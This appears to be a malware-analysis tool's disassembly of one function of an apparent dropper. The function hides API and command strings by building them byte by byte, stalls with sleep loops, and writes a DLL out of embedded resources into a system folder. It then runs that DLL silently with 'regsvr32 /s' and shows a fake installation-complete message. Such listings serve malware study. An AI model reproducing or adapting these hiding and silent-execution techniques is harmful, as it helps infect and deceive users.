Function at 0x401462
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push esi
mov esi, 0x989680
mov dword [0x406614], 0
mov dword [0x406618], 0x238
jmp 0x4014d9
inc dword [0x406614]
mov eax, 2
mul dword [0x406618]
mov dword [0x406618], eax
cmp dword [0x406614], 0x28b0a
jbe 0x4014d8
inc dword [0x406610]
mov dword [0x406614], 0
cmp dword [0x406610], 0x64
jae 0x4014d8
push 0x32
call sub.kernel32.dll_Sleep
push 0
push dword [0x406610]
push 0x402
push dword [0x406604]
call sub.user32.dll_SendMessageA
dec esi
cmp esi, 0
ja 0x40147e
pop esi
mov byte [0x40328d], 0x65
mov byte [0x40553b], 0x6c
mov byte [0x4055b4], 0x6c
mov byte [0x4032c2], 0x32
mov byte [0x4032bc], 0x65
mov byte [0x4055bb], 0x50
mov byte [0x4055b5], 0x46
mov byte [0x4055b6], 0x6f
mov byte [0x4055ab], 0x47
mov byte [0x4032bb], 0x72
mov byte [0x4055aa], 0x48
mov byte [0x405640], 0x65
mov byte [0x40563a], 0x45
mov byte [0x40553f], 0x64
mov byte [0x4055b7], 0x6c
mov byte [0x40553d], 0x32
mov byte [0x405537], 0x73
mov byte [0x405641], 0x41
mov byte [0x405635], 0x53
mov byte [0x4055ae], 0x53
mov byte [0x4055bc], 0x61
mov byte [0x40563d], 0x63
mov byte [0x405637], 0x65
mov byte [0x4055b3], 0x61
mov byte [0x4032c1], 0x33
mov byte [0x4032bf], 0x76
mov byte [0x40328f], 0
mov byte [0x405639], 0x6c
mov byte [0x4055a9], 0x53
mov byte [0x40328e], 0x6e
mov byte [0x40553e], 0x2e
mov byte [0x4032c0], 0x72
mov byte [0x4055af], 0x70
mov byte [0x40553c], 0x33
mov byte [0x4055b1], 0x63
mov byte [0x4055c0], 0
mov byte [0x405636], 0x68
mov byte [0x40328c], 0x70
mov byte [0x4055bf], 0x41
mov byte [0x4032be], 0x73
mov byte [0x4055b9], 0x65
mov byte [0x4055ac], 0x65
mov byte [0x405539], 0x65
mov byte [0x4032a5], 0x20
mov byte [0x4032a4], 0x73
mov byte [0x4055bd], 0x74
mov byte [0x4055b0], 0x65
mov byte [0x405540], 0x6c
mov byte [0x40328b], 0x6f
mov byte [0x40563b], 0x78
mov byte [0x40553a], 0x6c
mov byte [0x4032a3], 0x2f
mov byte [0x405541], 0x6c
mov byte [0x4032bd], 0x67
mov byte [0x40563f], 0x74
mov byte [0x4055ba], 0x72
mov byte [0x4055be], 0x68
mov byte [0x405638], 0x6c
mov byte [0x4055ad], 0x74
mov byte [0x4032a6], 0
mov byte [0x40563c], 0x65
mov byte [0x405538], 0x68
mov byte [0x4055b8], 0x64
mov byte [0x4032c3], 0
mov byte [0x405642], 0
mov byte [0x4055b2], 0x69
mov byte [0x40563e], 0x75
mov byte [0x405542], 0
cmp dword [0x403017], 0x1c7
jne 0x4016d6
push str.MLZBTQAS
call sub.kernel32.dll_lstrlenA
mov dword [0x403017], eax
push esi
mov esi, 0x8f0d180
mov dword [0x406614], 0
cmp dword [0x403017], 0x1e2
jne 0x401701
push str.MLZBTQAS
call sub.kernel32.dll_lstrlenA
mov dword [0x403017], eax
mov dword [0x406618], 0xb3d
jmp 0x401768
inc dword [0x406614]
cmp dword [0x406614], 0x393870
jbe 0x401757
inc dword [0x406610]
mov dword [0x406614], 0
cmp dword [0x406610], 0x64
jae 0x401757
push 0x14
call sub.kernel32.dll_Sleep
push 0
push dword [0x406610]
push 0x402
push dword [0x406604]
call sub.user32.dll_SendMessageA
dec esi
mov eax, 2
mul dword [0x406618]
mov dword [0x406618], eax
cmp esi, 0
ja 0x40170d
pop esi
push 0
push 0x25
lea eax, [0x403c23]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
cmp dword [0x403017], 3
jne 0x40178e
call sub.kernel32.dll_GetVersion
push 0x403c23
push 0x403576
call sub.kernel32.dll_lstrcpyA
cmp dword [0x403017], 0x5a
jne 0x4017b5
push str.STBOEV
push str.MLZBTQAS
call sub.shlwapi.dll_StrStrA
push 0x403161
push 0x403576
call sub.kernel32.dll_lstrcatA
push str.lj39607.dll
push 0x403576
call sub.kernel32.dll_lstrcatA
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push 0x403576
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x4018a4
mov dword [0x4038bd], eax
push 0
push 0x4038cd
push dword [0x4038c5]
push dword [0x403834]
push dword [0x4038bd]
call sub.kernel32.dll_WriteFile
push esi
mov esi, 0
jmp 0x401890
mov eax, dword [esi*4 + 0x405819]
push 0x180
push eax
push 0
call sub.kernel32.dll_FindResourceA
mov dword [0x4038cd], eax
push eax
push 0
call sub.kernel32.dll_LoadResource
mov dword [0x4038d5], eax
push eax
call sub.kernel32.dll_LockResource
mov dword [0x403834], eax
push dword [0x4038cd]
push 0
call sub.kernel32.dll_SizeofResource
mov dword [0x4038c5], eax
push 0
push 0x4038cd
push dword [0x4038c5]
push dword [0x403834]
push dword [0x4038bd]
call sub.kernel32.dll_WriteFile
push dword [0x4038d5]
call sub.kernel32.dll_FreeResource
inc esi
cmp esi, 0x372
jb 0x401823
pop esi
push dword [0x4038bd]
call sub.kernel32.dll_CloseHandle
push 0x4032a3
push 0x403416
call sub.kernel32.dll_lstrcpyA
push 0x403576
push 0x403416
call sub.kernel32.dll_lstrcatA
mov esi, esp
push 0x1000
call sub.kernel32.dll_Sleep
cmp dword [0x403017], 0x119
jne 0x4018e9
push str.STBOEV
push str.MLZBTQAS
call sub.shlwapi.dll_StrStrA
push 0x404066
push 0x404272
call sub.kernel32.dll_lstrcpyA
mov dword [0x4054a2], 0
cmp dword [0x403017], 0xfa
jne 0x40191d
push str.STBOEV
push str.MLZBTQAS
call sub.shlwapi.dll_StrStrA
push 5
push 0
lea eax, [0x403416]
push eax
lea eax, [0x4032bb]
push eax
lea eax, [0x40328b]
push eax
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x4056ab], 0x73
mov byte [0x4056bd], 0xa
mov byte [0x4056cb], 0x6c
mov byte [0x4056a2], 0x65
mov byte [0x4056b8], 0x65
mov byte [0x4056db], 0x68
mov byte [0x4056ba], 0x65
mov byte [0x405696], 0x6c
mov byte [0x4056b5], 0x6d
mov byte [0x4056b6], 0x70
mov byte [0x4056b9], 0x74
mov byte [0x40569f], 0x73
mov byte [0x4056e8], 0x6e
mov byte [0x4056a0], 0x20
mov byte [0x4056cc], 0x6f
mov byte [0x4056b7], 0x6c
mov byte [0x4056b2], 0x20
mov byte [0x4056d4], 0x28
mov byte [0x4056cd], 0x61
mov byte [0x4056a6], 0x73
mov byte [0x4056ac], 0x73
mov byte [0x405697], 0x61
mov byte [0x4056e0], 0x73
mov byte [0x4056e2], 0x20
mov byte [0x4056c0], 0x77
mov byte [0x4056ce], 0x64
mov byte [0x4056c9], 0x72
mov byte [0x4056a8], 0x63
mov byte [0x405691], 0x6e
mov byte [0x40569b], 0x6e
mov byte [0x4056cf], 0x20
mov byte [0x4056d1], 0x61
mov byte [0x4056df], 0x61
mov byte [0x4056b1], 0x79
mov byte [0x40569c], 0x20
mov byte [0x4056d3], 0x65
mov byte [0x405690], 0x49
mov byte [0x4056aa], 0x65
mov byte [0x4056d5], 0x73
mov byte [0x4056e3], 0x63
mov byte [0x4056d6], 0x29
mov byte [0x4056bc], 0x21
mov byte [0x4056c7], 0x65
mov byte [0x4056c4], 0x65
mov byte [0x4056b0], 0x6c
mov byte [0x4056ad], 0x66
mov byte [0x4056de], 0x6c
mov byte [0x40569d], 0x68
mov byte [0x405695], 0x6c
mov byte [0x4056b4], 0x6f
mov byte [0x4056a5], 0x20
mov byte [0x4056e6], 0x74
mov byte [0x4056af], 0x6c
mov byte [0x4056c5], 0x61
mov byte [0x40569e], 0x61
mov byte [0x4056ea], 0x2e
mov byte [0x4056b3], 0x63
mov byte [0x405692], 0x73
mov byte [0x405694], 0x61
mov byte [0x4056bf], 0x6f
mov byte [0x4056ca], 0x65
mov byte [0x405693], 0x74
mov byte [0x4056a7], 0x75
mov byte [0x4056a1], 0x62
mov byte [0x4056da], 0x74
mov byte [0x40569a], 0x6f
mov byte [0x4056c3], 0x6c
mov byte [0x4056bb], 0x64
mov byte [0x4056a9], 0x63
mov byte [0x4056d9], 0x69
mov byte [0x4056be], 0x4e
mov byte [0x4056d8], 0x77
mov byte [0x4056e1], 0x68
mov byte [0x4056dc], 0x20
mov byte [0x4056e9], 0x74
mov byte [0x4056d2], 0x67
mov byte [0x4056c1], 0x20
mov byte [0x4056a4], 0x6e
mov byte [0x4056c6], 0x73
mov byte [0x4056c8], 0x20
mov byte [0x4056c2], 0x70
mov byte [0x4056e7], 0x65
mov byte [0x4056a3], 0x65
mov byte [0x4056d0], 0x70
mov byte [0x4056e4], 0x6f
mov byte [0x4056e5], 0x6e
mov byte [0x405698], 0x74
mov byte [0x4056d7], 0x20
mov byte [0x4056ae], 0x75
mov byte [0x4056dd], 0x66
mov byte [0x405699], 0x69
mov byte [0x40575d], 0x6e
mov byte [0x405762], 0x6c
mov byte [0x40575f], 0x74
mov byte [0x405760], 0x61
mov byte [0x405763], 0x65
mov byte [0x405764], 0x72
mov byte [0x405761], 0x6c
mov byte [0x40575e], 0x73
mov byte [0x40575c], 0x49
cmp dword [0x406610], 0x64
jae 0x401c0c
mov dword [0x406610], 0x64
push 0
push dword [0x406610]
push 0x402
push dword [0x406604]
call fcn.004012cc
push 0x40
push 0x40575c
push 0x405690
push 0
call sub.user32.dll_MessageBoxA
cmp dword [0x403017], 0x195
jne 0x401c52
push str.STBOEV
push str.MLZBTQAS
call sub.shlwapi.dll_StrStrA
ret